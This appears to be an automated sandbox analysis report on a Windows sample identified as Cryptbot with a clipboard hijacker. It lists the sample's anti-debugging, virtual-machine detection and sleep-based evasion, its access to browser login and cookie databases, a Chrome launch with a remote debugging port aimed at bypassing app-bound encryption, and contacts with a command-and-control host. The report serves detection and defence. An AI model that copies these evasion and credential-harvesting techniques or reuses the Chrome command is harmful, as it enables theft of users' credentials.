Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 7970935 second address: 7970973 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c movzx esi, bx 0x0000000f pushfd 0x00000010 jmp 00007F63F87E5465h 0x00000015 sbb esi, 1EACF006h 0x0000001b jmp 00007F63F87E5461h 0x00000020 popfd 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 7970973 second address: 7970979 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 7970979 second address: 797097D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 795000A second address: 795009F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushfd 0x00000007 jmp 00007F63F87E337Ch 0x0000000c or eax, 4C6D4BB8h 0x00000012 jmp 00007F63F87E337Bh 0x00000017 popfd 0x00000018 popad 0x00000019 xchg eax, ebp 0x0000001a pushad 0x0000001b pushfd 0x0000001c jmp 00007F63F87E3384h 0x00000021 or ecx, 74390618h 0x00000027 jmp 00007F63F87E337Bh 0x0000002c popfd 0x0000002d popad 0x0000002e push eax 0x0000002f pushad 0x00000030 call 00007F63F87E337Bh 0x00000035 mov cx, 04BFh 0x00000039 pop ecx 0x0000003a popad 0x0000003b xchg eax, ebp 0x0000003c pushad 0x0000003d mov eax, 67737D53h 0x00000042 push eax 0x00000043 push edx 0x00000044 pushfd 0x00000045 jmp 00007F63F87E3386h 0x0000004a adc ecx, 00EE8AD8h 0x00000050 jmp 00007F63F87E337Bh 0x00000055 popfd 0x00000056 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 795009F second address: 795016C instructions: 0x00000000 rdtsc 0x00000002 mov dx, ax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b mov edi, esi 0x0000000d pushfd 0x0000000e jmp 00007F63F87E545Ch 0x00000013 xor ax, 5538h 0x00000018 jmp 00007F63F87E545Bh 0x0000001d popfd 0x0000001e popad 0x0000001f and esp, FFFFFFF0h 0x00000022 jmp 00007F63F87E5466h 0x00000027 sub esp, 44h 0x0000002a pushad 0x0000002b movzx esi, bx 0x0000002e mov ax, dx 0x00000031 popad 0x00000032 push esp 0x00000033 pushad 0x00000034 call 00007F63F87E5460h 0x00000039 mov edx, ecx 0x0000003b pop esi 0x0000003c jmp 00007F63F87E5467h 0x00000041 popad 0x00000042 mov dword ptr [esp], ebx 0x00000045 pushad 0x00000046 pushfd 0x00000047 jmp 00007F63F87E545Bh 0x0000004c sub si, 6A6Eh 0x00000051 jmp 00007F63F87E5469h 0x00000056 popfd 0x00000057 popad 0x00000058 xchg eax, esi 0x00000059 jmp 00007F63F87E545Eh 0x0000005e push eax 0x0000005f push eax 0x00000060 push edx 0x00000061 jmp 00007F63F87E545Eh 0x00000066 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 795016C second address: 79501C7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63F87E337Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a jmp 00007F63F87E3386h 0x0000000f xchg eax, edi 0x00000010 jmp 00007F63F87E3380h 0x00000015 push eax 0x00000016 jmp 00007F63F87E337Bh 0x0000001b xchg eax, edi 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F63F87E3385h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 79501C7 second address: 7950242 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop ecx 0x00000005 call 00007F63F87E5463h 0x0000000a pop eax 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov edi, dword ptr [ebp+08h] 0x00000011 pushad 0x00000012 mov ecx, ebx 0x00000014 movsx ebx, si 0x00000017 popad 0x00000018 mov dword ptr [esp+24h], 00000000h 0x00000020 pushad 0x00000021 push esi 0x00000022 call 00007F63F87E5465h 0x00000027 pop ecx 0x00000028 pop edx 0x00000029 jmp 00007F63F87E545Eh 0x0000002e popad 0x0000002f lock bts dword ptr [edi], 00000000h 0x00000034 jmp 00007F63F87E5460h 0x00000039 jc 00007F64683F75C7h 0x0000003f push eax 0x00000040 push edx 0x00000041 pushad 0x00000042 movsx edi, si 0x00000045 movzx esi, di 0x00000048 popad 0x00000049 rdtsc
Tries to evade debugger and weak emulator (self modifying code)
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe Special instruction interceptor: First address: 1425C06 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe Special instruction interceptor: First address: 1425AEF instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe Special instruction interceptor: First address: 15D398C instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe Special instruction interceptor: First address: 1651AE6 instructions caused by: Self-modifying code
Contains capabilities to detect virtual machines
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc Jump to behavior
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion Jump to behavior
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe Window / User API: threadDelayed 1421 Jump to behavior
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe Window / User API: threadDelayed 1399 Jump to behavior
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe Window / User API: threadDelayed 1348 Jump to behavior
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe Window / User API: threadDelayed 1432 Jump to behavior
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe Window / User API: threadDelayed 1348 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Window / User API: threadDelayed 1863 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Window / User API: threadDelayed 8136 Jump to behavior
Found large amount of non-executed APIs
Source: C:\Users\user\AppData\Local\Temp\service123.exe API coverage: 1.1 %
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe TID: 7952 Thread sleep count: 42 > 30 Jump to behavior
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe TID: 7952 Thread sleep time: -84042s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe TID: 7936 Thread sleep count: 1421 > 30 Jump to behavior
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe TID: 7936 Thread sleep time: -2843421s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe TID: 7948 Thread sleep count: 1399 > 30 Jump to behavior
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe TID: 7948 Thread sleep time: -2799399s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe TID: 7944 Thread sleep count: 1348 > 30 Jump to behavior
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe TID: 7944 Thread sleep time: -2697348s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe TID: 8052 Thread sleep time: -32000s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe TID: 7956 Thread sleep count: 40 > 30 Jump to behavior
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe TID: 7956 Thread sleep time: -80040s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe TID: 7928 Thread sleep count: 1432 > 30 Jump to behavior
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe TID: 7928 Thread sleep time: -2865432s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe TID: 7932 Thread sleep count: 1348 > 30 Jump to behavior
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe TID: 7932 Thread sleep time: -2697348s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe TID: 2916 Thread sleep count: 1863 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe TID: 2916 Thread sleep time: -186300s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe TID: 2916 Thread sleep count: 8136 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe TID: 2916 Thread sleep time: -813600s >= -30000s Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Users\user\AppData\Local\Temp\service123.exe Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\service123.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\xte0v1np.default-release\cache2\ Jump to behavior
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\dgam8g56.default\ Jump to behavior
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\xte0v1np.default-release\ Jump to behavior
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\ Jump to behavior
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\xte0v1np.default-release\cache2\doomed\ Jump to behavior
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\ Jump to behavior
Source: Amcache.hve.14.dr Binary or memory string: VMware
Source: Amcache.hve.14.dr Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.14.dr Binary or memory string: vmci.syshbin
Source: Amcache.hve.14.dr Binary or memory string: VMware, Inc.
Source: Amcache.hve.14.dr Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.14.dr Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.14.dr Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.14.dr Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.14.dr Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: QDQXUZhiY3.exe, 00000000.00000003.1372791120.0000000007C8F000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: SYSINTERNALSNum_processorNum_ramnameallfreedriversNum_displaysresolution_xresolution_y\*recent_filesprocessesuptime_minutesC:\Windows\System32\VBox*.dll01vbox_firstSYSTEM\ControlSet001\Services\VBoxSFvbox_secondC:\USERS\PUBLIC\public_checkWINDBG.EXEdbgwireshark.exeprocmon.exex64dbg.exeida.exedbg_secdbg_thirdyadroinstalled_appsSOFTWARE\Microsoft\Windows\CurrentVersion\UninstallSOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall%d%s\%sDisplayNameapp_nameindexCreateToolhelp32Snapshot failed.
Source: Amcache.hve.14.dr Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.14.dr Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.14.dr Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: chrome.exe, 00000003.00000002.1798719764.0000018B949EB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: Amcache.hve.14.dr Binary or memory string: vmci.sys
Source: QDQXUZhiY3.exe, 00000000.00000003.1401520928.0000000007251000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Y\MACHINE\SYSTEM\ControlSet001\Services\VBoxSFlS?ka
Source: QDQXUZhiY3.exe, 00000000.00000003.1372791120.0000000007C8F000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: SYSTEM\ControlSet001\Services\VBoxSF
Source: QDQXUZhiY3.exe, 00000000.00000003.1399413758.0000000002031000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll:
Source: Amcache.hve.14.dr Binary or memory string: vmci.syshbin`
Source: Amcache.hve.14.dr Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.14.dr Binary or memory string: VMware-42 27 9c 31 6b 7d 78 89-be 90 b3 22 a5 ab 1b 52
Source: Amcache.hve.14.dr Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.14.dr Binary or memory string: VMware20,1
Source: Amcache.hve.14.dr Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.14.dr Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.14.dr Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.14.dr Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.14.dr Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.14.dr Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.14.dr Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.14.dr Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.14.dr Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.14.dr Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.14.dr Binary or memory string: vmci.inf_amd64_68ed49469341f563
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe System information queried: ModuleInformation Jump to behavior
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe Process information queried: ProcessInformation Jump to behavior

Anti Debugging
barindex
Hides threads from debuggers
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe Thread information set: HideFromDebugger Jump to behavior
Tries to detect sandboxes and other dynamic analysis tools (window names)
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe Open window title or class name: file monitor - sysinternals: www.sysinternals.com
Checks for debuggers (devices)
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe File opened: NTICE
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe File opened: SICE
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe File opened: SIWVID
Checks if the current process is being debugged
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe Process queried: DebugPort Jump to behavior
Contains functionality to dynamically determine API calls
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_002A8230 LoadLibraryA,GetProcAddress,FreeLibrary,GetLastError, 8_2_002A8230
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_002A116C Sleep,Sleep,SetUnhandledExceptionFilter,__p__acmdln,malloc,strlen,malloc,memcpy,__initenv,_amsg_exit,_initterm,GetStartupInfoA,_cexit,_initterm,exit, 8_2_002A116C
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_002A1160 Sleep,SetUnhandledExceptionFilter,__p__acmdln,malloc,strlen,malloc,memcpy,__initenv, 8_2_002A1160
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_002A11A3 Sleep,SetUnhandledExceptionFilter,__p__acmdln,malloc,strlen,malloc,memcpy,__initenv, 8_2_002A11A3
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_002A13C9 SetUnhandledExceptionFilter,__p__acmdln,malloc,strlen,malloc,memcpy,__initenv,_amsg_exit,_initterm, 8_2_002A13C9
Contains functionality to query CPU information (cpuid)
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6D0984D0 cpuid 8_2_6D0984D0
Queries information about the installed CPU (vendor, model number etc)
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 Jump to behavior
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior
AV process strings found (often used to terminate AV products)
Source: QDQXUZhiY3.exe, 00000000.00000003.1372791120.0000000007C8F000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: procmon.exe
Source: Amcache.hve.14.dr Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.14.dr Binary or memory string: msmpeng.exe
Source: QDQXUZhiY3.exe, 00000000.00000003.1372791120.0000000007C8F000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: wireshark.exe
Source: Amcache.hve.14.dr Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.14.dr Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23090.2008-0\msmpeng.exe
Source: Amcache.hve.14.dr Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information
barindex
Yara detected Clipboard Hijacker
Source: Yara match File source: 8.2.service123.exe.6d010000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: Process Memory Space: service123.exe PID: 6556, type: MEMORYSTR
Yara detected Cryptbot
Source: Yara match File source: dump.pcap, type: PCAP
Leaks process information
Source: global traffic TCP traffic: 192.168.2.3:49736 -> 185.121.15.192:80
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data Jump to behavior
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data Jump to behavior
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies Jump to behavior
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\xte0v1np.default-release\cookies.sqlite Jump to behavior
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\xte0v1np.default-release\key4.db Jump to behavior
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies Jump to behavior

Remote Access Functionality
barindex
Attempt to bypass Chrome Application-Bound Encryption
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"
Yara detected Cryptbot
Source: Yara match File source: dump.pcap, type: PCAP
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1580280 Sample: QDQXUZhiY3.exe Startdate: 24/12/2024 Architecture: WINDOWS Score: 100 41 www.google.com 2->41 53 Suricata IDS alerts for network traffic 2->53 55 Antivirus / Scanner detection for submitted sample 2->55 57 Multi AV Scanner detection for submitted file 2->57 59 7 other signatures 2->59 8 QDQXUZhiY3.exe 5 3 2->8         started        13 service123.exe 2->13         started        15 service123.exe 2->15         started        17 2 other processes 2->17 signatures3 process4 dnsIp5 43 httpbin.org 98.85.100.80, 443, 49725 TWC-11351-NORTHEASTUS United States 8->43 45 fivetk5sb.top 185.121.15.192, 49736, 49742, 49802 REDSERVICIOES Spain 8->45 47 2 other IPs or domains 8->47 37 C:\Users\user\AppData\...\service123.exe, PE32 8->37 dropped 39 C:\Users\user\...\CaHNbeclRGcBxNSvHjFX.dll, PE32 8->39 dropped 65 Attempt to bypass Chrome Application-Bound Encryption 8->65 67 Tries to detect sandboxes and other dynamic analysis tools (window names) 8->67 69 Tries to detect sandboxes and other dynamic analysis tools (process name or module or function) 8->69 71 8 other signatures 8->71 19 service123.exe 8->19         started        22 WerFault.exe 19 16 8->22         started        25 chrome.exe 8->25         started        28 schtasks.exe 1 8->28         started        file6 signatures7 process8 dnsIp9 61 Found evasive API chain (may stop execution after checking mutex) 19->61 63 Found stalling execution ending in API Sleep call 19->63 35 C:\ProgramData\Microsoft\...\Report.wer, Unicode 22->35 dropped 49 239.255.255.250 unknown Reserved 25->49 30 chrome.exe 25->30         started        33 conhost.exe 28->33         started        file10 signatures11 process12 dnsIp13 51 www.google.com 172.217.21.36, 443, 49826, 49828 GOOGLEUS United States 30->51
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
185.121.15.192
 home.fivetk5sb.top Spain
207046 REDSERVICIOES false
98.85.100.80
 httpbin.org United States
11351 TWC-11351-NORTHEASTUS false
239.255.255.250
 unknown Reserved
unknown unknown false
172.217.21.36
 www.google.com United States
15169 GOOGLEUS false

Private

IP
127.0.0.1

Contacted Domains

Name IP Active
home.fivetk5sb.top 185.121.15.192 true
www.google.com 172.217.21.36 true
s-part-0035.t-0009.t-msedge.net 13.107.246.63 true
fivetk5sb.top 185.121.15.192 true
httpbin.org 98.85.100.80 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
https://httpbin.org/ip false
    		high